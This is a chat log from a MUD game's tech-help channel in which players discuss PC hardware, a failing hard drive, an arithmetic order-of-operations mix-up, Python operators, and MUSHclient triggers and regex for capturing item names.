T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: are there compatibility issues between mobo's/CPU/RAM?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mokg Tech: modern ram will work with modern motherboards. motherboards are based on the cpu
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: yes, you'll need the same CPU socket on mobo as CPU, and same type of RAM
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: so unlikely i'll be able to use ram from my current setup with a new mobo/cpu?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: what generation is it...DDR, DDR2, DDR3?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: ddr3 i believe
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mokg Tech: should be fine
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: is it a bad idea to mix sticks?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mokg Tech: generally its fine
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mokg Tech: I have mix/matched brands in mine
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: but if you mean speeds, lowest speed will be used by all
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Hanslanda Tech: some mobos may have gone the way of mobile innards, where the cpu is soldered into place rather than clamped into a socket for easy upgrade.  Intel is doing so with all their desktop chips starting in 2014 when they debut their next one (at least, at last announcement that was the plan...).
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: does mush work on macs?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: yes
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: http://code.google.com/p/aardwolfclientpackage/wiki/MacLinux
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Westclox Tech: okay, im a bit of a moron, how do i update my mush without losing all my current settings, aliases, etc
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: westclox: www.aardwolf.com, click the screenshot, click download mushclient
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: that page has detailed instructions
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Westclox Tech: thanks
T3/r7/2013-01-11.txt.gz:{chan ch=tech}RedRain Tech: is it easy
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Wreck-It Roninleader Tech: thanks abe
T3/r7/2013-01-11.txt.gz:{chan ch=tech}RedRain Tech: running about 10 behind I figure heh
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: any idea why chkdsk /r is stopping after doing just the file verification process?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Coming up with any errors?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: lots of unreadable sectors
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: google said /r is supposed to fix that though, but it doesn't even seem to try
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: We talking a few handfuls, or 'why won't my screen stop scrolling' lots?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: latter
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Most likely a failed disk, in that case, sorry man :-(
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: probably 50-100 unreadables
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Red... is this your OS partition you're trying to check?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: so /r won't even attempt it?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: no
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Oh, 50-100 isn't so bad :-P Thinking thousands. Disk is still on its way out though, but you could probably pull data
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: yea, but trying to access it tells me that it isn't formatted
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: i have two partitions on that disk though, i can still access one
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Possible the file structure records are in the corrupted part of the disk. Never had to recover one like that, though I know it's possible
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: strange that chkdsk just stops after stage 1 of 5 though
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Zade Tech: possible virus or tojan infection corrupting part of the MasterBootRecord chain
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: All I can see about why it would fail there suggest hardware failure, but if the first partition is ok that seems unlikely
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: well i don't know how ok first partition is
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Are you able to get the drive mounted in windows yet, or still going off the USB OS?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: drive is mounted
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: though my pc is kinda slow...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: How valuable is that 2nd partition (the data, I mean)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: bc the drive itself is almost certainly on its deathbed, probably want to grab as much as possible off it as you want now
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: not that valuable
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: mainly movies and stuff
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Got at the Mush install?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: mush is in dropbox, so not really that worried
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: so is most important data, so yay for cloud storage
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: so yea, data is nice to have but not essential
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Oh good :-) I love it when the answer isn't "something something irreplaceable"
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: In that case I would probably bin the drive completely - a reformat will demarcate the bad sectors, and get the drive usable again, but it's a short term solution
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: And in the mean time, I would go for something like HD Sentinel or similar - it automatically tracks the health of your drives, and warns you of issues ahead of time
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: nod
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: gonna buy new pc tmrw anyway, might as well get an upgrade if i have to install stuff
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Gonna build one? That's always fun :-)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: yea, will try
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: www.reddit.com/r/buildapc if you didn't already know
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: though this drive failing is making my mapbot lag!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: still no clue why i can't attempt a /r on the disk??
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: this is question to software vendor rather
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: simply chkdsk not always is able to cope with problems
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Google suggests failing on part 1 (not parts 4 or 5, which are more common) means actual hardware issues, like motor or platters
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Runtur Vanion Tech: if one partition is accessable then its def not motors
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: you could try use dmde for data recovery
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Runtur Vanion Tech: both of these partitions are logical drives ?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: if it is possible then first thing you should do is to copy existing HDD to some other HDD - just to do all rescue actions on copy rather than on original HDD
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: then you could try to use "dmde" to recover some data
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Redryn Tech: sorry, computer froze up while i was trying to access the failing partition
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: 6-1x2+0/2/2
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vost Tech: 4
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: please enlighten me
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: vost you are wrong..
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Depends entirely on if you mean x as a variable or a multiplication sign =p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: there is no possible way you can come up with 4 unless its a random guess
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: the order is 6 - (1x2)+((0/2)/2)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Acheos.. are you trolling? its 4 =p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: 6-2+0
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: i disagree
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: 4+0
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: 4
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Okay, then you're wrong
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: As a programmer, you are wrong, move on. Your calculator will lie to you, btw
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: As not a programer, he's still wrong =p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: BODMAS = Brackets  Orders Division & Multiplication than Addition& Subtraction  *division and multiplication rank equally are are perfromed left to right  *addition and subtraction rank equally and are performed left to right  SO: 6-1x0+2/2=? is broken down like this  1x0=0,  2/2=1,  6-0=6,  6+1=7
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: you wrote 0/2/2
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: typo :S
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vost Tech: ah, he read his own question incorrectly
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: rofl
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: I award you the Order of the Facepalm, 2nd Tier
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: rofl
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: but wait
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Vakieh holds his breath in anticipation
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Ashiya Tech: don't make this worse for yourself :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: also went from -1x2 to -1x0
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: well there's always order of the facepalm, third tier...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: with gold star and arithmetic campaign ribbon
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: grin
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Faulty Bot Elrast Tech: stay on tech long enough and you'll reach the ninth tier facepalm
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Dantes Enfacepalm
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: 6-1x0+2/2
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: with (un)distinguished service oak clusters!
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: enlighten me
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: 5, Acheos
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Ashiya Tech: 7?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: explain daloran
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: hee
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: what is this 1s grade math
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Wait. 7. my bad
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: When you have to remember whether pointers, brackets, dot operator, modulus, comparison or assignment operators happen first, then you start to curse the guy who couldn't just say 'everything left to right'
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Brain decided to get stuck in lalal land a second
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: because everything left to right makes it much less useful
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: ....
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: anyone willing to actually explain instead of being a troll. after all i did ASK the question, SORRY for the typoi
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Then someone decides to be 'clever', nests some ternaries, and all of a sudden it's $ ? !!23 : !%$#%$ ? !#$!# : true
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vost Tech: yes Kelvar, Acheos has a test coming up
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: multiplication and division take precedence over subtracting and adding
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: or something
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: https://www.khanacademy.org/math/arithmetic
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: just do everything in the order you're taught.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: It's 7, Acheos. 6-1x0+2/2. 1x0 becomes 0, and 2/2 becomes 1, so it becomes 6-0+1. Which is 7.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: ()x/-+ should be all you need in problems like these
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Acheos Tech: so wahts the difference in pemads and bodmas in this example?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: They're the same thing, Acheos.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Pemads is not a thing
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: it is PEDMAS
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Faulty Bot Elrast . o O ( writing algorithm for calculator in compsci class? )
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Because Parentheses vs Brackets
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: PEMDAS and PEDMAS are the same order of operations =p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: In the US most people are taught PEMDAS
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: That I've ever seen, anyway
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: But definitely not Pemads
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Yes, not Pemads. that sounds like something you'd take for cramps.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: An incorrect mnemonic is worse than not studying it at all - an incorrect mnemonic makes you confident while you are wrong
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Things like that is how we get bridges that fall down
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Vak - are you disputing PEMDAS? or PEMADS 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: PEMADS
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Kk. Was going to say, I know Pemdas isn't all inclusive - but - wrong? =p lol.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: I know MD = DM and AS = SA
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Sonshi Tech: or just write the bloody symbols out and practice until it becomes second nature.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Sonshi ducks defensively.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: My order of operations look a little more like this: http://en.wikipedia.org/wiki/Order_of_operations#Programming_languages
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Except then you get one language which just HAS to be special, and bugger it all up
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: So it turns out Python has no increment operator. Not impressed o.0
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: like a "math add 1?"
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: internet says var++ doesn't work Var += x will increment by x though
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: you could alwys make your own too :P 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Yeah, += 1 is the way. Problem is, var++ is a valid construct, which does... nothing.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: var++ is apparently like var + 0 + 0
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: This is what you get when 1 person controls all the things, I suppose...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: "++ is not an operator. It is two + operators. The + operator is the identity operator, which does nothing. (Clarification: the + and - unary operators only work on numbers, but I presume that you wouldn't expect a hypothetical ++ operator to work on strings.)" http://stackoverflow.com/questions/1485841/behaviour-of-increment-and-decrement-operators-in-python
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Got that one :-P First google result and all
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: I miss C++ and my 'If I want an operator, I'll make my OWN operator, with blackjack, and hookers'
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: you cant create your own in python?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: So why would you say theres no increment operator when +=1 is equivlent =p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: It's interpreted, of course you can't :-P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: Because += 1 is not an operator
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: var = var + 1 would also be equivalent, not the point
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: Shrug. not being a programmer I guess the distinction is lost on me. I don't really see how its any different then the ++ and +=1 in C++
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vakieh Tech: All to do with readability, convention, and common constructs - people are so used to seeing the ++ form from C languages
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Daloran Tech: I suppose. That stackoverflow talks a little bit about it though, in terms of why its not neccesary 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Miss Tell Shaelynne Tech: I use bast spell up and about 80 of my spells have been marked as "not learned" even though they have. I can't figure out how to remvoe this so they will work again. 
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Lecithin Tech: In Zmud, is it possible to export your layout so you have the exact one on another computer?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Varas Tech: What's the best free linux shell?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}BobTheGreat Tech: how do i escape semicolons in blowtorch?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Jaenelle Tech: putting two together didn't work?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}BobTheGreat Tech: didnt
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: are there any plugins that enable beeps/sounds on certain lines?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: for mushclient
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Vale Tech: easy to do with a trigger
T3/r7/2013-01-11.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: "on certain lines" is pretty vague :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: i want a sound to be played when I get a tell from someone
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Harperon Tech: make a trigger for "*just sent you a tell." and select a sound file for it
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Cadriel Tech: By default it doesn't say that though I think
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Cadriel Tech: I just get <name> tells you ''
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Cadriel Tech: Which would ping from mobprogs, but rarely
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Winkle has a sound plugin you can probably just exttra his sound triggers from it :)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: but prob easier to just make a trigger
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: any ideas why i cant open help in mushclient? (windows 7 64)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}GraySong Gregor Tech: OMG Y U R MESS WITH MY TRIGGAZ
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Harperon Tech: ohh, if you don't use catchtell..but I think most do
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: windows 7 doesnt support help files by default
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: (it is a feature not bug), so you need to install support for help files
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: how do i get the variables from a given string so that i can otput them in whatever form? for triggers
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: you mean world.GetVariable("<var_name>") ?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: ill try that thanks
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: i would like to be able to send the name of an item when i lore it to a variable, how would i set the name as the wildcard
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: eg | Name       : Jade Elixir                                        | send jade elixier to varialble name
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Hanslanda Tech: not sure regex can directly assign to variables in a trigger pattern.  In CMud you would do &varname.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: use a ()
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: then %1
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: that gave me an empty variable?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: copy/paste the line?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: did you also click the regex box?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: i then bracketed the ariable like you said and then the %1
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: regex is ticked
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Name.+: (.+)$
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Name       : Apprentice's Scrub Brush
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: would save that to %1
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: how are you setting the variable?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: that gave me "Jade Elixir                                        |" is there a way to remove the spaces and line ?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Use trim.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: tbh im completely new to variables in muchclient
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Yes, tighten up the regex.  I don't know the line you are triggering so that one only works for me.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: .+ tests for everything
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: put a \s*| before the $
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: im trigeriing off | Name       : Jade Elixir                                        | but only wanting the name
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Bast, how can he capture one word or two words in a single regeX?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: good point
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Meanind Name : Jade Elixir OR Name  : Jade
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Half-Baked Eggplant Tech: anyone know why i wouldnt get mud info on my main window in the much client?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: put a \s\s+| before the $, try that
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: just want jade elixier
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: I'm not sure either :P
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Ontuct Tech: mine does that about every 10th startup egg, I have to keep restarting it. it will accept commands, and I get conversations in the communication window.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: how is a "word" defined in mushclient? like in zmud it's (%w)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: If you only want jade elixir... what's the point in passing the variable?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Half-Baked Eggplant Tech: yea thats what mine is doing but it does it everytime i try to start it up
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Ontuct Tech: i wish I could give you some snazzy solution.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: im trying to gather a few variables and then putting them together in an output
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: jade elix just being my test item
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: anyone?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Ok well this would work good for 2 word names   ^Name.+: (\w+ \w+)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: that would pass jade elixir only
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: or Green elixir
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: but not elixir
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Kelvar Tech: ah, (\w)
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: Name.+: (.+)\s\s+$ should get anything
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: oh nice Bast
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: ill try bast solution
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Except it'll still throw those large spaces.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: unfortunatly that gave m a blank variable
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: so Name.+: (.+)\s\s+$ gave me blank variable and Name.+: (.+)$ gave me the long spaces
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: Name.+: (.+)\s\s+|$ should get anything, oops forgot the |
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: oh
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: No, you're still getting too many spaces, I think.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: \| Name\s+: (.+)?\s\s+\|$ -- Try that.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Trachx Tech: it seems like sed or perl
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, Bast, yours still gets all the trailing spaces.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: well etzil gave me a variable wihout the line but left the spaces
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: But so does mine.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: bast didnt get a variable
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: ...
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: \| Name\s+: (.*?)\s\s+\|$
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: There we go.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: I had the ? in the wrong spot.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: k will try
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mohan Tech: hi, how can I hide the coord that appears in main wondow?
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Remarto Tech: thanks etz that worked
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at Remarto.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Bast Tech: knew we would get there eventually
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mohan Tech: {coords}1,54,9
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: tags coord off, if you're not using it.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers with Bast about their shared secret.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Mohan Tech: it appears again
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: AardMUSH uses the coords, I believe. Not 100% sure. I thought it was omitted, though.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: Not sure how to help you otherwise. :p
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: Etzli what does the ? do in that regex
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: -10
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: whoops
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: oh btw. Regex tester    http://regexhero.net/tester/
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Book of Etzli Tech: I prefer http://gskinner.com/RegExr/ myself.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: and you can click on groups to see the variables parsed
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: ooo
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: oh wow that one has teh commands listed
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: Book of Etzli nods.
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Haldrik Tech: awesome
T3/r7/2013-01-11.txt.gz:{chan ch=tech}Tech: I tend to make my own character classes, since different regex engines define character classes differently
